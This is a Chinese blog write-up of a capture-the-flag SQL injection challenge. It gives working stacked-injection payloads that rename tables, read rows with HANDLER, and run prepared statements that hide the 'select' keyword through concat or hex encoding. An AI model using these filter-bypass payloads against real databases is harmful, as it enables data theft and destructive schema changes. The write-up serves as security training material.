BUUCTF -web- [强网杯 2019]随便注

第一步:是否存在注入

 

输入1回显正常,输入1'报错,基本判断存在注入,用#注释一下试试

发现存在注入,首先老规矩order by

第二步:开始注入

3时报错,说明有两列。尝试union select联合查询注入

 

返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了。这里尝试过双写绕过,16进制绕过等;不过过滤机制太强,都不行。

这时候想到堆叠注入,试一下

1'; show databases; #

 可以看到成功了,存在堆叠注入

接下来输入1'; show tables; #  查表

可以看到当前库下有两张表(1919810931114514和words)

先看words表,输入1'; show columns from words; #

发现words表中一共有id和data两列,那么可以猜测我们提交查询的窗口就是在这个表里查询数据

然后报表 1919810931114514 的内容,表名为数字时,要用反引号包起来查询。

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

如果tableName是纯数字,需要用`包裹,比如

1';desc `1919810931114514`;#

1'; show columns from`1919810931114514`;#

 可以看到表中有我们想要的flag字段,且只有这一列

该题目的查询语句很有可能是:selsect id,data from words where id =,因为我们输入1,回显得是两个字段,这与words表符合,而1919810931114514表中只有一列。

有强大的正则过滤,但仍在大佬的启发下使用了四种方式

三.堆叠注入姿势

姿势一.更改表名

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data),结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦。

修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;

修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

或者

rename命令用于修改表名。

rename命令格式:rename table 原表名 to 新表名;

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

最后,再用一下一开始的操作 id=1' or 1=1#。得到flag

 

姿势二.handle

handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:

打开表:HANDLER 表名 OPEN ;

查看数据: HANDLER 表名 READ next;

关闭表: HANDLER 表名 READ CLOSE;

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;#

姿势三.预编译的方式

因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:

预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,格式:

1.PREPARE 名称 FROM     Sql语句 ? ;

2.SET @x=xx;

EXECUTE 名称 USING @x;
 

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE  hacker;#

select * from `1919810931114514`语句进行16进制编码,即:0x73656c656374202a2066726f6d2060313931393831303933313131343531346

1';PREPARE ck from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE  ck;#

姿势四.利用MySql预处理

使用条件:HANDLER也被过滤了。

在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。

参考博客:

强网杯 2019]随便注 【SQL注入】四种解法_张甲的博客-CSDN博客_[强网杯 2019]随便注 1 请点击启动靶机。

Stacked Queries(堆叠注入)_WHOAMIAnony的博客-CSDN博客_stacked queries

  • 16
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值